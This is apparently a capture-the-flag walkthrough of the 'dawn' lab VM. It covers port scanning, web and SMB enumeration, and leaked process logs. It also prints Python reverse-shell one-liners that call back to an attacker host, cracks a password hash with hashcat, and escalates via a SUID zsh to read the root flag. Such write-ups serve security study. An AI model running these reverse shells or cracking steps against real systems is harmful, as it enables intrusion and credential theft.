dawn

Discovering VM IP:
netdiscover -r 10.0.2.0/24

```
 Currently scanning: Finished!   |   Screen View: Unique Hosts

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 10.0.2.1        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.2        52:54:00:12:35:00      1      60  Unknown vendor
 10.0.2.3        08:00:27:55:01:3a      1      60  PCS Systemtechnik GmbH
 10.0.2.56       08:00:27:85:ab:21      1      60  PCS Systemtechnik GmbH
```

Scanning open ports:
root@kali:~# nmap dawn.local -A -sC -sV -p- -oA pwn/dawn

```
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.15-MariaDB-1
|   Thread ID: 13
|   Capabilities flags: 63486
|   Some Capabilities: ConnectWithDatabase, FoundRows, SupportsCompression, LongColumnF
ortsTransactions, Speaks41ProtocolNew, IgnoreSigpipes, ODBCClient, InteractiveClient, Ig
ns
|   Status: Autocommit
|   Salt: fgRC96@}xa['P;u^Wwt^
|_  Auth Plugin Name: 96
MAC Address: 08:00:27:85:AB:21 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: DAWN

Host script results:
|_clock-skew: mean: 1h19m57s, deviation: 2h18m33s, median: -2s
|_nbstat: NetBIOS name: DAWN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: dawn
|   NetBIOS computer name: DAWN\x00
|   Domain name: dawn
|   FQDN: dawn.dawn
|_  System time: 2019-09-13T11:45:46-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-09-13 11:45:46
```

Enumerating directories:
root@kali:~/pwn# wfuzz -c -z file,fuzz-Bo0oM.txt --hc 404 http://dawn.local/FUZZ

```
=====================================================================
ID   Response   Lines      Word         Chars          Payload
=====================================================================

000204:  C=403     11 L       32 W          296 Ch        ".ht_wsr.txt"
000205:  C=403     11 L       32 W          289 Ch        ".hta"
000206:  C=403     11 L       32 W          294 Ch        ".htaccess"
000207:  C=403     11 L       32 W          298 Ch        ".htaccess-dev"
000208:  C=403     11 L       32 W          300 Ch        ".htaccess-local"
000209:  C=403     11 L       32 W          300 Ch        ".htaccess-marco"
000211:  C=403     11 L       32 W          298 Ch        ".htaccess.bak"
000210:  C=403     11 L       32 W          298 Ch        ".htaccess.BAK"
000212:  C=403     11 L       32 W          299 Ch        ".htaccess.bak1"
000213:  C=403     11 L       32 W          298 Ch        ".htaccess.old"
000214:  C=403     11 L       32 W          299 Ch        ".htaccess.orig"
000215:  C=403     11 L       32 W          301 Ch        ".htaccess.sample"
000216:  C=403     11 L       32 W          299 Ch        ".htaccess.save"
000217:  C=403     11 L       32 W          298 Ch        ".htaccess.txt"
000218:  C=403     11 L       32 W          300 Ch        ".htaccess_extra"
000219:  C=403     11 L       32 W          299 Ch        ".htaccess_orig"
000220:  C=403     11 L       32 W          297 Ch        ".htaccess_sc"
000221:  C=403     11 L       32 W          297 Ch        ".htaccessBAK"
000222:  C=403     11 L       32 W          297 Ch        ".htaccessOLD"
000223:  C=403     11 L       32 W          298 Ch        ".htaccessOLD2"
000224:  C=403     11 L       32 W          295 Ch        ".htaccess~"
000226:  C=403     11 L       32 W          293 Ch        ".htgroup"
000227:  C=403     11 L       32 W          294 Ch        ".htpasswd"
000228:  C=403     11 L       32 W          298 Ch        ".htpasswd-old"
000229:  C=403     11 L       32 W          299 Ch        ".htpasswd_test"
000230:  C=403     11 L       32 W          295 Ch        ".htpasswds"
000231:  C=403     11 L       32 W          296 Ch        ".httr-oauth"
000232:  C=403     11 L       32 W          293 Ch        ".htusers"
002303:  C=200     22 L       84 W          791 Ch        "index.html"
002594:  C=301      9 L       28 W          307 Ch        "logs"
002605:  C=403     11 L       32 W          299 Ch        "logs/error.log"
002602:  C=200     19 L       92 W         1541 Ch        "logs/"
003460:  C=403     11 L       32 W          299 Ch        "server-status/"
```

Enumerating smb shares:
enum4linux 10.0.2.56

```
root@kali:~/pwn# smbclient -L //dawn.local -U guest -N

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        ITDEPT          Disk      PLEASE DO NOT REMOVE
        IPC$            IPC       IPC Service (Samba 4.
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            DAWN
```

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\dawn (Local User)
S-1-22-1-1001 Unix User\ganimedes (Local User)
```

Root is running psyp64 process and redirecting output to logs folder which are viewable in apache

```
2019/09/13 12:11:42 [31;1mCMD: UID=0    PID=360    | /root/pspy64 [0m
2019/09/13 12:11:42 [31;1mCMD: UID=0    PID=353    | /bin/sh -c /root/pspy64 > /var/www/html/logs/management.log [0m
```

Reverse shell: www-data

```
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",4444));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); [0m
```

```
www-data@dawn:/var/www/html$ sudo -l
Matching Defaults entries for www-data on dawn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on dawn:
    (root) NOPASSWD: /usr/bin/sudo
www-data@dawn:/var/www/html$
```

Reverse shell: Dawn

```
2019/09/13 13:32:01 [31;1mCMD: UID=1000 PID=2154   | python -c import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",5555));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); [0m
```

```
dawn@dawn:~$ sudo -l
Matching Defaults entries for dawn on dawn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dawn may run the following commands on dawn:
    (root) NOPASSWD: /usr/bin/mysql
dawn@dawn:~$
```

Dawn's bash_history:

```
echo "$1$$bOKpT2ij0.XcGlpjgAup9/"
ls
ls -la
nano .bash_history
echo "$1$$bOKpT2ij0.XcGlpjgAup9/"
nano .bash_history
echo "$1$$bOKpT2ij0.XcGlpjgAup9/"
```

Using hashcat to crack
https://null-byte.wonderhowto.com/how-to/crack-shadow-hashes-after-getting-root-linux-system-0186386/

```
root@kali:~/pwn# cat cracked.txt
$1$$bOKpT2ij0.XcGlpjgAup9/:onii-chan29
root@kali:~/pwn# hashcat -m 500 -a 0 -o cracked.txt hashes.txt  /usr/share/wordlists/rockyou.txt
```

Able to login successfully to mysqldb but not able to do much from here.

```
dawn@dawn:/home$ sudo mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 35
Server version: 10.3.15-MariaDB-1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
```

Walkthrough: Priv esclation, Missed zsh

```
dawn@dawn:/run/lock$ find / -perm -4000 2> /dev/null
/usr/sbin/mount.cifs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/zsh
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/chfn
/home/dawn/ITDEPT
```

```
dawn@dawn:/run/lock$ zsh
dawn# cd /root
dawn# ls -Flah
total 4.4M
drwx------  6 root root 4.0K Sep 13 19:55 ./
drwxr-xr-x 18 root root 4.0K Jul 31 22:35 ../
-rw-------  1 root root  310 Sep 13 20:30 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4.0K Jul 31 23:11 .config/
-rw-r--r--  1 root root  260 Aug  2 19:33 flag.txt
drwx------  3 root root 4.0K Aug  1 18:56 .gnupg/
drwxr-xr-x  3 root root 4.0K Jul 31 22:56 .local/
-rw-------  1 root root 1.9K Sep 13 19:55 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rwxr-xr-x  1 root root 4.3M Aug  1 17:39 pspy64*
-rw-r--r--  1 root root   66 Aug  1 18:39 .selected_editor
drwxr-xr-x  4 root root 4.0K Jul 31 23:13 .wine/
dawn# cat flag.txt
Hello! whitecr0wz here. I would like to congratulate and t
e available for rooting this box!

flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
```